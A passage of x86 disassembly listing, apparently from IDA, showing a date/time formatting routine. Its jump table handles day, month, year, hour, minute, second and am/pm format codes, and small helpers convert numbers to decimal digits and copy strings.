ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A8h] push eax call sub_42EB30 add esp, 14h loc_42E519: ; CODE XREF: sub_42E360+144j jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E51E: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E909o mov ecx, dword_492410 mov dword_492414, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+arg_4] mov edx, [ecx+0Ch] push edx call sub_42E9D0 add esp, 10h jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E548: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E8D9o mov eax, dword_492410 mov dword_492414, eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 2 mov eax, [ebp+arg_4] mov ecx, [eax+8] push ecx call sub_42E9D0 add esp, 10h jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E570: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E8DDo mov edx, dword_492410 mov dword_492414, edx mov eax, [ebp+arg_4] mov eax, [eax+8] cdq mov ecx, 0Ch idiv ecx mov [ebp+var_4], edx cmp [ebp+var_4], 0 jnz short loc_42E59A mov [ebp+var_4], 0Ch loc_42E59A: ; CODE XREF: sub_42E360+231j mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+var_4] push ecx call sub_42E9D0 add esp, 10h jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E5B5: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E90Do mov edx, dword_492410 mov dword_492414, edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 3 mov edx, [ebp+arg_4] mov eax, [edx+1Ch] add eax, 1 push eax call sub_42E9D0 add esp, 10h jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E5E2: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E911o mov ecx, dword_492410 mov dword_492414, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+arg_4] mov edx, [ecx+10h] add edx, 1 push edx call sub_42E9D0 add esp, 10h jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E60F: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E8E1o mov eax, dword_492410 mov dword_492414, eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 2 mov eax, [ebp+arg_4] mov ecx, [eax+4] push ecx call sub_42E9D0 add esp, 10h jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E637: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E915o mov edx, [ebp+arg_4] cmp dword ptr [edx+8], 0Bh jg short loc_42E65C mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_10] mov eax, [edx+98h] push eax call sub_42E980 add esp, 0Ch jmp short loc_42E676 ; --------------------------------------------------------------------------- loc_42E65C: ; CODE XREF: sub_42E360+2DEj mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_10] mov ecx, [eax+9Ch] push ecx call sub_42E980 add esp, 0Ch loc_42E676: ; CODE XREF: sub_42E360+2FAj jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E67B: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E8E5o mov edx, dword_492410 mov dword_492414, edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 2 mov edx, [ebp+arg_4] mov eax, [edx] push eax call sub_42E9D0 add esp, 10h jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E6A4: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E8E9o mov ecx, dword_492410 mov dword_492414, ecx mov edx, [ebp+arg_4] mov eax, [edx+18h] mov [ebp+var_8], eax jmp short loc_42E70D ; --------------------------------------------------------------------------- loc_42E6BB: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E919o mov ecx, dword_492410 mov dword_492414, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 1 mov ecx, [ebp+arg_4] mov edx, [ecx+18h] push edx call sub_42E9D0 add esp, 10h jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E6E5: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E8EDo mov eax, dword_492410 mov dword_492414, eax mov ecx, [ebp+arg_4] cmp dword ptr [ecx+18h], 0 jnz short loc_42E701 mov [ebp+var_8], 6 jmp short loc_42E70D ; --------------------------------------------------------------------------- loc_42E701: ; CODE XREF: sub_42E360+396j mov edx, [ebp+arg_4] mov eax, [edx+18h] sub eax, 1 mov [ebp+var_8], eax loc_42E70D: ; CODE XREF: sub_42E360+359j ; sub_42E360+39Fj mov ecx, [ebp+arg_4] mov edx, [ecx+1Ch] cmp edx, [ebp+var_8] jge short loc_42E721 mov [ebp+var_4], 0 jmp short loc_42E74E ; --------------------------------------------------------------------------- loc_42E721: ; CODE XREF: sub_42E360+3B6j mov eax, [ebp+arg_4] mov eax, [eax+1Ch] cdq mov ecx, 7 idiv ecx mov [ebp+var_4], eax mov edx, [ebp+arg_4] mov eax, [edx+1Ch] cdq mov ecx, 7 idiv ecx cmp edx, [ebp+var_8] jl short loc_42E74E mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42E74E: ; CODE XREF: sub_42E360+3BFj ; sub_42E360+3E3j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 2 mov edx, [ebp+var_4] push edx call sub_42E9D0 add esp, 10h jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E769: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E91Do cmp dword_492410, 0 jz short loc_42E7A0 mov dword_492410, 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A4h] push edx call sub_42EB30 add esp, 14h jmp short loc_42E7C2 ; --------------------------------------------------------------------------- loc_42E7A0: ; CODE XREF: sub_42E360+410j mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A0h] push edx call sub_42EB30 add esp, 14h loc_42E7C2: ; CODE XREF: sub_42E360+43Ej jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E7C7: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E8F1o mov dword_492410, 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A8h] push edx call sub_42EB30 add esp, 14h jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E7F8: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E921o mov eax, dword_492410 mov dword_492414, eax mov ecx, [ebp+arg_4] mov eax, [ecx+14h] cdq mov ecx, 64h idiv ecx mov [ebp+var_4], edx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+var_4] push ecx call sub_42E9D0 add esp, 10h jmp loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E82E: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E8F5o mov edx, dword_492410 mov dword_492414, edx mov eax, [ebp+arg_4] mov eax, [eax+14h] cdq mov ecx, 64h idiv ecx mov ecx, eax add ecx, 13h imul ecx, 64h mov edx, [ebp+arg_4] mov eax, [edx+14h] cdq mov esi, 64h idiv esi add ecx, edx mov [ebp+var_4], ecx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 4 mov edx, [ebp+var_4] push edx call sub_42E9D0 add esp, 10h jmp short loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E87B: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:0042E8F9o call sub_42BA60 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] xor eax, eax cmp dword ptr [edx+20h], 0 setnz al mov ecx, off_443F54[eax*4] push ecx call sub_42E980 add esp, 0Ch jmp short loc_42E8C8 ; --------------------------------------------------------------------------- loc_42E8A6: ; CODE XREF: sub_42E360+2Cj ; DATA XREF: .text:off_42E8CDo mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 25h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_42E8C8: ; CODE XREF: sub_42E360+1Bj ; sub_42E360+2Cj ... pop esi mov esp, ebp pop ebp retn sub_42E360 endp ; --------------------------------------------------------------------------- off_42E8CD dd offset loc_42E8A6 ; DATA XREF: sub_42E360+2Cr dd offset loc_42E3B5 dd offset loc_42E3FB dd offset loc_42E548 dd offset loc_42E570 dd offset loc_42E60F dd offset loc_42E67B dd offset loc_42E6A4 dd offset loc_42E6E5 dd offset loc_42E7C7 dd offset loc_42E82E dd offset loc_42E87B dd offset loc_42E393 dd offset loc_42E3D8 dd offset loc_42E41E dd offset loc_42E51E dd offset loc_42E5B5 dd offset loc_42E5E2 dd offset loc_42E637 dd offset loc_42E6BB dd offset loc_42E769 dd offset loc_42E7F8 dd offset loc_42E8C8 byte_42E929 db 0 ; DATA XREF: sub_42E360+26r dw 1616h dd 6 dup(16161616h), 16020116h, 16161616h, 16160403h, 16160516h dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h dd 0CC0B1514h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E980 proc near ; CODE XREF: sub_42E360+48p ; sub_42E360+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp loc_42E983: ; CODE XREF: sub_42E980+44j mov eax, [ebp+arg_8] cmp dword ptr [eax], 0 jz short loc_42E9C6 mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] test edx, edx jz short loc_42E9C6 mov eax, [ebp+arg_4] mov ecx, [eax] mov edx, [ebp+arg_0] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_4] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_4] mov [eax], edx mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax jmp short loc_42E983 ; --------------------------------------------------------------------------- loc_42E9C6: ; CODE XREF: sub_42E980+9j ; sub_42E980+13j pop ebp retn sub_42E980 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E9D0 proc near ; CODE XREF: sub_42E360+1DBp ; sub_42E360+203p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 cmp dword_492414, 0 jz short loc_42E9FA mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_0] push edx call sub_42EA80 add esp, 0Ch jmp short loc_42EA79 ; --------------------------------------------------------------------------- loc_42E9FA: ; CODE XREF: sub_42E9D0+12j mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] cmp ecx, [eax] jnb short loc_42EA70 mov edx, [ebp+arg_4] sub edx, 1 mov [ebp+arg_4], edx jmp short loc_42EA18 ; --------------------------------------------------------------------------- loc_42EA0F: ; CODE XREF: sub_42E9D0+82j mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax loc_42EA18: ; CODE XREF: sub_42E9D0+3Dj mov ecx, [ebp+arg_4] add ecx, 1 test ecx, ecx jz short loc_42EA54 mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx add edx, 30h mov eax, [ebp+arg_8] mov ecx, [eax] mov eax, [ebp+arg_4] mov [ecx+eax], dl mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx mov [ebp+arg_0], eax mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_42EA0F ; --------------------------------------------------------------------------- loc_42EA54: ; CODE XREF: sub_42E9D0+50j mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, [ebp+var_4] mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, [ebp+var_4] mov edx, [ebp+arg_C] mov [edx], ecx jmp short loc_42EA79 ; --------------------------------------------------------------------------- loc_42EA70: ; CODE XREF: sub_42E9D0+32j mov eax, [ebp+arg_C] mov dword ptr [eax], 0 loc_42EA79: ; CODE XREF: sub_42E9D0+28j ; sub_42E9D0+9Ej mov esp, ebp pop ebp retn sub_42E9D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EA80 proc near ; CODE XREF: sub_42E9D0+20p var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_8] cmp dword ptr [edx], 1 jbe short loc_42EADB loc_42EA96: ; CODE XREF: sub_42EA80+59j mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jle short loc_42EADB mov edx, [ebp+arg_8] cmp dword ptr [edx], 1 ja short loc_42EA96 loc_42EADB: ; CODE XREF: sub_42EA80+14j ; sub_42EA80+51j mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_42EAF4: ; CODE XREF: sub_42EA80+A6j mov edx, [ebp+var_4] mov al, [edx] mov [ebp+var_C], al mov ecx, [ebp+var_4] mov edx, [ebp+var_8] mov al, [edx] mov [ecx], al mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_8] mov al, [ebp+var_C] mov [edx], al mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_8] cmp edx, [ebp+var_4] jb short loc_42EAF4 mov esp, ebp pop ebp retn sub_42EA80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EB30 proc near ; CODE XREF: sub_42E360+EBp ; sub_42E360+13Cp ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 30h loc_42EB36: ; CODE XREF: sub_42EB30+2EAj ; sub_42EB30:loc_42EEFBj ... mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz loc_42EFAC mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jz loc_42EFAC mov [ebp+var_8], 0 mov dword_492414, 0 mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_42EB76 ; --------------------------------------------------------------------------- loc_42EB6D: ; CODE XREF: sub_42EB30+5Fj mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_42EB76: ; CODE XREF: sub_42EB30+3Bj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx cmp eax, edx jnz short loc_42EB91 jmp short loc_42EB6D ; --------------------------------------------------------------------------- loc_42EB91: ; CODE XREF: sub_42EB30+5Dj mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] mov [ebp+var_14], ecx mov edx, [ebp+var_14] sub edx, 27h mov [ebp+var_14], edx cmp [ebp+var_14], 52h ja loc_42EF00 mov ecx, [ebp+var_14] xor eax, eax mov al, ds:byte_42EFDC[ecx] jmp ds:off_42EFB0[eax*4] loc_42EBC8: ; DATA XREF: .text:0042EFBCo mov edx, [ebp+var_C] mov [ebp+var_18], edx mov eax, [ebp+var_18] sub eax, 1 mov [ebp+var_18], eax cmp [ebp+var_18], 3 ja short loc_42EC01 mov ecx, [ebp+var_18] jmp ds:off_42F02F[ecx*4] loc_42EBE7: ; DATA XREF: .text:off_42F02Fo mov dword_492414, 1 loc_42EBF1: ; CODE XREF: sub_42EB30+B0j ; DATA XREF: .text:0042F033o mov [ebp+var_8], 6Dh jmp short loc_42EC01 ; --------------------------------------------------------------------------- loc_42EBF7: ; CODE XREF: sub_42EB30+B0j ; DATA XREF: .text:0042F037o mov [ebp+var_8], 62h jmp short loc_42EC01 ; --------------------------------------------------------------------------- loc_42EBFD: ; CODE XREF: sub_42EB30+B0j ; DATA XREF: .text:0042F03Bo mov [ebp+var_8], 42h loc_42EC01: ; CODE XREF: sub_42EB30+ABj ; sub_42EB30+C5j ... jmp loc_42EF00 ; --------------------------------------------------------------------------- loc_42EC06: ; CODE XREF: sub_42EB30+91j ; DATA XREF: .text:0042EFC0o mov edx, [ebp+var_C] mov [ebp+var_1C], edx mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax cmp [ebp+var_1C], 3 ja short loc_42EC3F mov ecx, [ebp+var_1C] jmp ds:off_42F03F[ecx*4] loc_42EC25: ; CODE XREF: sub_42EB30+B0j ; DATA XREF: .text:off_42F03Fo mov dword_492414, 1 loc_42EC2F: ; CODE XREF: sub_42EB30+B0j ; sub_42EB30+EEj ; DATA XREF: ... mov [ebp+var_8], 64h jmp short loc_42EC3F ; --------------------------------------------------------------------------- loc_42EC35: ; CODE XREF: sub_42EB30+B0j ; sub_42EB30+EEj ; DATA XREF: ... mov [ebp+var_8], 61h jmp short loc_42EC3F ; --------------------------------------------------------------------------- loc_42EC3B: ; CODE XREF: sub_42EB30+B0j ; sub_42EB30+EEj ; DATA XREF: ... mov [ebp+var_8], 41h loc_42EC3F: ; CODE XREF: sub_42EB30+E9j ; sub_42EB30+103j ... jmp loc_42EF00 ; --------------------------------------------------------------------------- loc_42EC44: ; CODE XREF: sub_42EB30+91j ; DATA XREF: .text:0042EFD4o mov edx, [ebp+var_C] mov [ebp+var_20], edx cmp [ebp+var_20], 2 jz short loc_42EC58 cmp [ebp+var_20], 4 jz short loc_42EC5E jmp short loc_42EC62 ; --------------------------------------------------------------------------- loc_42EC58: ; CODE XREF: sub_42EB30+11Ej mov [ebp+var_8], 79h jmp short loc_42EC62 ; --------------------------------------------------------------------------- loc_42EC5E: ; CODE XREF: sub_42EB30+124j mov [ebp+var_8], 59h loc_42EC62: ; CODE XREF: sub_42EB30+126j ; sub_42EB30+12Cj jmp loc_42EF00 ; --------------------------------------------------------------------------- loc_42EC67: ; CODE XREF: sub_42EB30+91j ; DATA XREF: .text:0042EFC4o mov eax, [ebp+var_C] mov [ebp+var_24], eax cmp [ebp+var_24], 1 jz short loc_42EC7B cmp [ebp+var_24], 2 jz short loc_42EC85 jmp short loc_42EC89 ; --------------------------------------------------------------------------- loc_42EC7B: ; CODE XREF: sub_42EB30+141j mov dword_492414, 1 loc_42EC85: ; CODE XREF: sub_42EB30+147j mov [ebp+var_8], 49h loc_42EC89: ; CODE XREF: sub_42EB30+149j jmp loc_42EF00 ; --------------------------------------------------------------------------- loc_42EC8E: ; CODE XREF: sub_42EB30+91j ; DATA XREF: .text:0042EFB8o mov ecx, [ebp+var_C] mov [ebp+var_28], ecx cmp [ebp+var_28], 1 jz short loc_42ECA2 cmp [ebp+var_28], 2 jz short loc_42ECAC jmp short loc_42ECB0 ; --------------------------------------------------------------------------- loc_42ECA2: ; CODE XREF: sub_42EB30+168j mov dword_492414, 1 loc_42ECAC: ; CODE XREF: sub_42EB30+16Ej mov [ebp+var_8], 48h loc_42ECB0: ; CODE XREF: sub_42EB30+170j jmp loc_42EF00 ; --------------------------------------------------------------------------- loc_42ECB5: ; CODE XREF: sub_42EB30+91j ; DATA XREF: .text:0042EFC8o mov edx, [ebp+var_C] mov [ebp+var_2C], edx cmp [ebp+var_2C], 1 jz short loc_42ECC9 cmp [ebp+var_2C], 2 jz short loc_42ECD3 jmp short loc_42ECD7 ; --------------------------------------------------------------------------- loc_42ECC9: ; CODE XREF: sub_42EB30+18Fj mov dword_492414, 1 loc_42ECD3: ; CODE XREF: sub_42EB30+195j mov [ebp+var_8], 4Dh loc_42ECD7: ; CODE XREF: sub_42EB30+197j jmp loc_42EF00 ; --------------------------------------------------------------------------- loc_42ECDC: ; CODE XREF: sub_42EB30+91j ; DATA XREF: .text:0042EFCCo mov eax, [ebp+var_C] mov [ebp+var_30], eax cmp [ebp+var_30], 1 jz short loc_42ECF0 cmp [ebp+var_30], 2 jz short loc_42ECFA jmp short loc_42ECFE ; --------------------------------------------------------------------------- loc_42ECF0: ; CODE XREF: sub_42EB30+1B6j mov dword_492414, 1 loc_42ECFA: ; CODE XREF: sub_42EB30+1BCj mov [ebp+var_8], 53h loc_42ECFE: ; CODE XREF: sub_42EB30+1BEj jmp loc_42EF00 ; --------------------------------------------------------------------------- loc_42ED03: ; CODE XREF: sub_42EB30+91j ; DATA XREF: .text:0042EFB4o push offset aAmPm ; "am/pm" mov ecx, [ebp+arg_0] push ecx call sub_42F560 add esp, 8 test eax, eax jnz short loc_42ED23 mov edx, [ebp+arg_0] add edx, 5 mov [ebp+var_4], edx jmp short loc_42ED41 ; --------------------------------------------------------------------------- loc_42ED23: ; CODE XREF: sub_42EB30+1E6j push offset aAP ; "a/p" mov eax, [ebp+arg_0] push eax call sub_42F560 add esp, 8 test eax, eax jnz short loc_42ED41 mov ecx, [ebp+arg_0] add ecx, 3 mov [ebp+var_4], ecx loc_42ED41: ; CODE XREF: sub_42EB30+1F1j ; sub_42EB30+206j mov [ebp+var_8], 70h jmp loc_42EF00 ; --------------------------------------------------------------------------- loc_42ED4A: ; CODE XREF: sub_42EB30+91j ; DATA XREF: .text:0042EFD0o mov edx, [ebp+arg_4] cmp dword ptr [edx+8], 0Bh jg short loc_42ED61 mov eax, [ebp+arg_10] mov ecx, [eax+98h] mov [ebp+var_10], ecx jmp short loc_42ED6D ; --------------------------------------------------------------------------- loc_42ED61: ; CODE XREF: sub_42EB30+221j mov edx, [ebp+arg_10] mov eax, [edx+9Ch] mov [ebp+var_10], eax loc_42ED6D: ; CODE XREF: sub_42EB30+22Fj ; sub_42EB30+2DFj cmp [ebp+var_C], 0 jle loc_42EE14 mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jbe loc_42EE14 mov edx, [ebp+var_10] xor eax, eax mov al, [edx] mov ecx, off_442D4C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_42EDD7 mov eax, [ebp+arg_C] cmp dword ptr [eax], 1 jbe short loc_42EDD7 mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+var_10] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, 1 mov edx, [ebp+arg_C] mov [edx], ecx loc_42EDD7: ; CODE XREF: sub_42EB30+26Ej ; sub_42EB30+276j mov eax, [ebp+arg_8] mov ecx, [eax] mov edx, [ebp+var_10] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx mov edx, [ebp+arg_C] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx jmp loc_42ED6D ; --------------------------------------------------------------------------- loc_42EE14: ; CODE XREF: sub_42EB30+241j ; sub_42EB30+24Dj mov eax, [ebp+var_4] mov [ebp+arg_0], eax jmp loc_42EB36 ; --------------------------------------------------------------------------- loc_42EE1F: ; CODE XREF: sub_42EB30+91j ; DATA XREF: .text:off_42EFB0o mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jz loc_42EEF2 mov edx, [ebp+arg_0] add edx, [ebp+var_C] mov [ebp+arg_0], edx loc_42EE36: ; CODE XREF: sub_42EB30+3BBj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz loc_42EEF0 mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jz loc_42EEF0 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 27h jnz short loc_42EE69 mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp loc_42EEF0 ; --------------------------------------------------------------------------- loc_42EE69: ; CODE XREF: sub_42EB30+329j mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_42EEBC mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 1 jbe short loc_42EEBC mov edx, [ebp+arg_8] mov eax, [edx] mov ecx, [ebp+arg_0] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_42EEBC: ; CODE XREF: sub_42EB30+353j ; sub_42EB30+35Bj mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+arg_0] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, 1 mov edx, [ebp+arg_C] mov [edx], ecx jmp loc_42EE36 ; --------------------------------------------------------------------------- loc_42EEF0: ; CODE XREF: sub_42EB30+30Ej ; sub_42EB30+31Aj ... jmp short loc_42EEFB ; --------------------------------------------------------------------------- loc_42EEF2: ; CODE XREF: sub_42EB30+2F7j mov eax, [ebp+arg_0] add eax, [ebp+var_C] mov [ebp+arg_0], eax loc_42EEFB: ; CODE XREF: sub_42EB30:loc_42EEF0j jmp loc_42EB36 ; --------------------------------------------------------------------------- loc_42EF00: ; CODE XREF: sub_42EB30+80j ; sub_42EB30+91j ... movsx ecx, [ebp+var_8] test ecx, ecx jz short loc_42EF2C mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov al, [ebp+var_8] push eax call sub_42E360 add esp, 14h mov ecx, [ebp+var_4] mov [ebp+arg_0], ecx jmp short loc_42EFA7 ; --------------------------------------------------------------------------- loc_42EF2C: ; CODE XREF: sub_42EB30+3D6j mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, off_442D4C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_42EF78 mov eax, [ebp+arg_8] mov ecx, [eax] mov edx, [ebp+arg_0] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_C] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax loc_42EF78: ; CODE XREF: sub_42EB30+417j mov edx, [ebp+arg_8] mov eax, [edx] mov ecx, [ebp+arg_0] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_42EFA7: ; CODE XREF: sub_42EB30+3FAj jmp loc_42EB36 ; --------------------------------------------------------------------------- loc_42EFAC: ; CODE XREF: sub_42EB30+Ej ; sub_42EB30+1Aj mov esp, ebp pop ebp retn 